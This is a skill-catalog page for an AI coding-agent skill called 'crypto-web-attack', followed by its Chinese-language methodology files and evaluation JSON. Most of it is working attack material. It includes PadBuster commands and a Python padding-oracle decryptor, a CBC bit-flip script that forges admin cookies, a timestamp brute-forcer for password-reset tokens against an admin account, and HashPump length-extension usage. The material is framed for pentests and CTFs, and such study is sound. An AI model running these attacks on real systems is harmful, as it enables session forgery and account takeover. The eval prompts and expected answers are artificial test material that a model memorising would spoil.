
Crypto Web Attack
- 18 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
crypto-web-attack is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- crypto-web-attack
- AI & Agent Building
- AI-coding skill
Crypto Web Attack by the numbers
- 18 all-time installs (skills.sh)
- Ranked #10,736 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill crypto-web-attackAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 18 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
Web 密码学攻击方法论
Web 应用中的密码学攻击不需要破解算法本身,而是利用实现缺陷——错误信息泄露、可预测的随机数、不当的加密模式使用。
⛔ 深入参考(必读)
- Padding Oracle/CBC Bit-flip 详细利用、弱随机数脚本、哈希长度扩展 → references/crypto-techniques.md
Phase 1: Padding Oracle Attack
识别:解密失败时返回不同错误(200 vs 500 vs 302)。入口:加密 Cookie、加密 URL 参数。
关键特征:
- 修改密文某字节 → 返回 500 (padding error)
- 修改密文另一字节 → 返回 200 或 302 (padding correct but data wrong)
- 不同响应 = Oracle 存在
PadBuster 工具用法(首选)
# 安装(Perl 脚本)
apt install padbuster
# 或
git clone https://github.com/AonCyberLabs/PadBuster.git
# 1. 解密已有密文
padbuster http://target/api ENCRYPTED_TOKEN 16 -encoding 0
# 参数说明:
# ENCRYPTED_TOKEN = 要解密的密文(hex 或 base64)
# 16 = block size(AES=16, DES=8)
# -encoding 0 = hex, 1 = lowercase hex, 2 = base64, 3 = URL-encoded base64, 4 = Web-safe base64
# 2. Cookie 中的 Padding Oracle
padbuster http://target/ COOKIE_VALUE 16 \
-cookies "session=COOKIE_VALUE" \
-encoding 2 # base64
# 3. 加密自定义明文(伪造 Cookie)
padbuster http://target/ COOKIE_VALUE 16 \
-cookies "session=COOKIE_VALUE" \
-encoding 2 \
-plaintext '{"user":"admin","role":"admin"}'
# 4. POST 请求中的 Padding Oracle
padbuster http://target/decrypt ENCRYPTED 16 \
-post "data=ENCRYPTED" \
-encoding 0
# 5. 指定 error pattern(非标准错误响应)
padbuster http://target/ TOKEN 16 \
-error "Invalid padding" \
-encoding 0Python 手动 Padding Oracle(PadBuster 不可用时)
#!/usr/bin/env python3
"""Padding Oracle 解密脚本"""
import requests
URL = "http://target/api"
BLOCK_SIZE = 16 # AES
def oracle(ciphertext_hex):
"""发送密文,判断 padding 是否正确"""
r = requests.get(f"{URL}?token={ciphertext_hex}")
# 根据实际情况调整判断条件
return r.status_code != 500 # 500=padding error, 200=padding OK
def decrypt_block(prev_block, curr_block):
"""解密单个 block"""
intermediate = bytearray(BLOCK_SIZE)
plaintext = bytearray(BLOCK_SIZE)
for pos in range(BLOCK_SIZE - 1, -1, -1):
padding_val = BLOCK_SIZE - pos
# 设置已知的 intermediate 值
test = bytearray(BLOCK_SIZE)
for k in range(pos + 1, BLOCK_SIZE):
test[k] = intermediate[k] ^ padding_val
for guess in range(256):
test[pos] = guess
test_hex = (bytes(test) + bytes(curr_block)).hex()
if oracle(test_hex):
intermediate[pos] = guess ^ padding_val
plaintext[pos] = intermediate[pos] ^ prev_block[pos]
break
return bytes(plaintext)
# 使用:将密文按 BLOCK_SIZE 分块,逐块解密→ 完整原理和更多场景 → references/crypto-techniques.md
Phase 2: CBC Bit-Flip Attack
修改第 N 个密文 block 字节 → 精确翻转第 N+1 个明文 block 对应字节。
核心公式:cipher[offset] ^= ord(原字符) ^ ord(目标字符)
实操脚本
import base64
token = "BASE64_ENCRYPTED_COOKIE"
cipher = bytearray(base64.b64decode(token))
# 目标:将 "user" 翻转为 "admin" (假设在第二个 block)
# 修改第一个 block 的对应字节
offset = 0 # 根据实际明文位置计算
cipher[offset] ^= ord('u') ^ ord('a')
cipher[offset + 1] ^= ord('s') ^ ord('d')
cipher[offset + 2] ^= ord('e') ^ ord('m')
cipher[offset + 3] ^= ord('r') ^ ord('i')
# 注意:第一个 block 的明文会被破坏(变成垃圾),但第二个 block 被精确修改
new_token = base64.b64encode(cipher).decode()
print(f"Forged token: {new_token}")注意:被修改的 block 对应的明文会变成垃圾。如果应用检查该 block 的数据,攻击会失败。
→ 详细利用 → references/crypto-techniques.md
Phase 3: 弱随机数 / 可预测 Token
识别:密码重置 Token 基于时间戳?Session ID 递增?CSRF Token 可预测?
时间戳爆破
import hashlib, time, requests
target_email = "admin@target.com"
# 获取"重置密码"请求的时间戳附近
reset_time = int(time.time())
for ts in range(reset_time - 60, reset_time + 60):
token = hashlib.md5(f"{ts}{target_email}".encode()).hexdigest()
r = requests.get(f"http://target/reset?token={token}")
if r.status_code == 200 and 'expired' not in r.text:
print(f"[+] Valid token: {token} (timestamp: {ts})")
breakPHP mt_rand() 预测
# PHP 的 mt_rand() 可从输出推断种子
# 工具:php_mt_seed
php_mt_seed OUTPUT_VALUE
# 得到种子后预测后续输出Phase 4: 哈希长度扩展
适用条件:
- 服务端使用
H(secret + message)签名(MD5/SHA1/SHA256) - 你知道
message和H(secret + message) - 你不知道
secret
HashPump 使用
# 安装
apt install hashpump
# 或 pip install hashpumpy
# 使用
hashpump -s ORIGINAL_HASH -d 'original_data' -a '&admin=true' -k SECRET_LENGTH
# SECRET_LENGTH 需要暴力枚举(通常 8-32)
# Python 版
import hashpumpy
for key_len in range(8, 33):
new_hash, new_data = hashpumpy.hashpump(
original_hash, 'original_data', '&admin=true', key_len
)
# 用 new_hash 和 new_data 发送请求测试不适用:HMAC、SHA-3、BLAKE2。
Phase 5: CTF 速查表
| 看到什么 | 方向 | 工具 |
|---|---|---|
| 加密 Cookie + 不同错误 | Padding Oracle | padbuster |
role=user 加密 Cookie | CBC Bit-flip | Python XOR 脚本 |
| 密码重置 + 短 Token | 弱随机数 | 时间戳暴力脚本 |
sign=md5hash | 哈希长度扩展 | hashpump |
eyJ... Base64 JSON | JWT | jwt爆破工具 |
PHP mt_rand() | 种子预测 | php_mt_seed |
| AES-ECB Cookie | ECB 块重排 | 手动 cut-and-paste |
{
"skill_name": "crypto-web-attack",
"evals": [
{
"id": 1,
"name": "crypto-cbc-bitflip",
"prompt": "你发现目标使用 AES-CBC 加密的 Cookie,明文包含 role=user。你需要将 role 改为 admin 但不知道密钥。请描述 CBC bit-flip 攻击的原理和具体操作。",
"expected_output": "修改前一个 block 的对应字节,XOR 计算翻转值",
"expectations": [
"前一个block|N-1|修改密文|影响N+1明文",
"XOR|异或|计算差值|'u'^'a'",
"user→admin|逐字节翻转|对应位置",
"破坏|前一block变垃圾|N block损坏",
"base64|解码密文|修改字节|重新编码"
],
"required_terms": [
"XOR",
"user→admin",
"base64"
]
},
{
"id": 2,
"name": "crypto-hash-length-extension",
"prompt": "目标使用 sign=md5(secret+data) 验证请求。你知道 data='amount=100' 和对应的 sign 值,但不知道 secret。你想在不改变签名有效性的情况下追加 '&admin=true'。请描述攻击方法。",
"expected_output": "哈希长度扩展攻击:不知密钥也能计算 md5(secret+data+padding+extension)",
"expectations": [
"哈希长度扩展|Hash Length Extension|追加数据",
"HashPump|hashpump|工具|自动计算",
"不需要密钥|不知道secret|无需破解",
"secret长度|枚举|8-32|暴力尝试",
"HMAC|不受此攻击|HMAC安全|对比"
],
"required_terms": [
"HashPump",
"HMAC",
"不知道secret"
]
},
{
"id": 3,
"name": "crypto-ctf-pattern-matching",
"prompt": "CTF 中你看到一个加密的 Cookie(Base64 编码),修改任何一位后服务端返回两种不同的错误:一种是 'Decryption failed',另一种是 'Invalid user data'。请判断这是什么类型的攻击并描述利用方法。",
"expected_output": "识别为 Padding Oracle(两种不同错误 = 侧信道),可用 PadBuster",
"expectations": [
"Padding Oracle|填充预言|不同错误信息",
"侧信道|区分padding错误和数据错误",
"PadBuster|padbuster|工具利用",
"解密|不需要密钥|逐字节恢复明文",
"伪造|构造任意明文|admin|提权"
],
"required_terms": [
"PadBuster",
"Padding Oracle",
"区分padding错误和数据错误"
]
},
{
"id": 4,
"name": "crypto-ctf-decision-table",
"prompt": "CTF 中你发现 session=base64data 的 Cookie,目标是 Flask 应用。这不是 JWT(不是 eyJ 开头)。请分析可能的攻击方向。",
"expected_output": "Flask session 伪造:找到 SECRET_KEY 后可以伪造 session",
"expectations": [
"Flask session|itsdangerous|签名|不是加密",
"SECRET_KEY|密钥|源码中找|配置文件",
"flask-unsign|解码|查看session内容",
"伪造|修改role|admin|重新签名",
"不是JWT|不是Padding Oracle|Flask特有"
],
"required_terms": [
"SECRET_KEY",
"Flask session",
"flask-unsign"
]
},
{
"id": 5,
"name": "crypto-php-magic-hash-bypass",
"prompt": "PHP 登录验证使用 if(md5($input) == $stored_hash)(松散比较 ==)。$stored_hash 是 '0e462097431906509019562988736854'(以 0e 开头)。你需要找到一个输入使其 md5 也以 0e 开头(全数字)。请描述攻击原理和具体的 magic hash 值。",
"expected_output": "PHP 松散比较将 0e... 当作科学计数法(0 的 N 次方 = 0),md5('240610708') = 0e462...,两边都等于 0 所以相等",
"expectations": [
"松散比较|==|类型转换|科学计数法",
"0e|零的N次方|等于0|PHP类型juggling",
"240610708|QNKCDZO|已知magic hash值",
"md5|sha1|都有magic hash|不限md5",
"===|严格比较|无法利用|修复方案"
],
"required_terms": [
"QNKCDZO",
"===",
"已知magic hash值"
]
}
]
}
{
"skill_id": "crypto-web-attack",
"recall_tests": [
{
"id": 1,
"type": "keyword_positive",
"description": "精确关键词搜索",
"keywords": [
"crypto",
"密码学",
"加密攻击",
"hash"
]
},
{
"id": 2,
"type": "keyword_positive",
"description": "具体攻击技术搜索",
"keywords": [
"padding oracle",
"magic hash",
"type juggling",
"弱类型"
]
},
{
"id": 3,
"type": "keyword_negative",
"description": "不应被密码爆破召回",
"keywords": [
"hydra",
"brute force password"
]
}
],
"llm_tests": [
{
"id": 1,
"name": "crypto-web-attack-scenario",
"scenario": "目标使用 AES-CBC 加密 Cookie,发现 Padding Oracle 错误信息。请搜索 Web 密码学攻击方法论。",
"max_rounds": 2,
"expect_tool_calls": [
{
"tool": "list_skills",
"keyword_contains": "crypto|padding|oracle|加密|cbc"
},
{
"tool": "read_skill",
"id": "crypto-web-attack"
}
]
}
]
}
Web 密码学攻击详细技术
Padding Oracle Attack 详解
利用工具
PadBuster(经典):
padbuster http://target/api?token=ENCRYPTED_TOKEN ENCRYPTED_TOKEN 16 -encoding 0参数:16 是 block size(AES=16, DES=8),-encoding 0 是原始 hex。
Python 脚本(更灵活): 核心逻辑:逐字节测试 padding,通过响应差异判断 padding 是否正确。从最后一个 block 开始,逐步恢复每个 block 的明文,然后通过类似过程伪造任意明文。
常见场景
- ASP.NET Padding Oracle (CVE-2010-3332)
- 自定义加密的 Cookie(
role=user→ 解密后修改为role=admin)
Cookie 场景(如 captcha/session cookie)
当 Padding Oracle 漏洞在 Cookie 中时(如 captcha=BASE64_CIPHER):
# 1. 先确认 oracle:修改密文不同字节,观察 200 vs 500 响应差异
# 2. 使用 padbuster 解密 cookie(-cookies 指定要发送的 cookie)
padbuster http://TARGET/ BASE64_CIPHER 16 -cookies "captcha=BASE64_CIPHER" -encoding 0
# 3. 加密自定义值(如绕过 captcha 验证)
padbuster http://TARGET/ BASE64_CIPHER 16 -cookies "captcha=BASE64_CIPHER" -encoding 0 -plaintext "YOUR_VALUE"⚠️ 重要:padbuster 需要 Perl 环境(大多数渗透测试系统已预装)。 如果 padbuster 不可用,再使用 Python 手写实现(但注意 oracle 条件:200=valid padding, 500=invalid padding)。
CBC Bit-Flip Attack 详解
XOR 翻转原理
CBC 模式中,修改第 N 个密文 block 的某个字节:
- 破坏第 N 个明文 block(变成垃圾)
- 精确翻转第 N+1 个明文 block 对应字节
利用脚本
import base64
# user -> admin: 计算 XOR 差值翻转对应字节
cipher = bytearray(base64.b64decode(token))
cipher[offset] ^= ord('u') ^ ord('a') # u -> a
cipher[offset+1] ^= ord('s') ^ ord('d') # s -> d
cipher[offset+2] ^= ord('e') ^ ord('m') # e -> m
cipher[offset+3] ^= ord('r') ^ ord('i') # r -> i
# 第 5 个字节:空 -> n,需要知道原始 padding 情况
new_token = base64.b64encode(cipher).decode()弱随机数 / 可预测 Token
识别
- 密码重置 Token 基于时间戳(
md5(timestamp + email)) - Session ID 递增或基于可预测种子
- CSRF Token 基于用户 ID 的简单哈希
利用
import hashlib, time
target_email = "admin@target.com"
# 在请求重置的时间附近暴力枚举
for ts in range(int(time.time()) - 10, int(time.time()) + 10):
token = hashlib.md5(f"{ts}{target_email}".encode()).hexdigest()
# 尝试使用 token 重置密码哈希长度扩展攻击
适用条件
- 服务端使用
H(secret + message)作为签名(MD5/SHA1/SHA256) - 你知道
message和H(secret + message)的值 - 你不知道
secret
使用 HashPump
hashpump -s ORIGINAL_HASH -d 'original_data' -a '&admin=true' -k SECRET_LENGTHSECRET_LENGTH 需要暴力枚举(通常 8-32)。
不适用的情况
- HMAC 不受此攻击影响
- SHA-3/BLAKE2 等新算法不受此攻击影响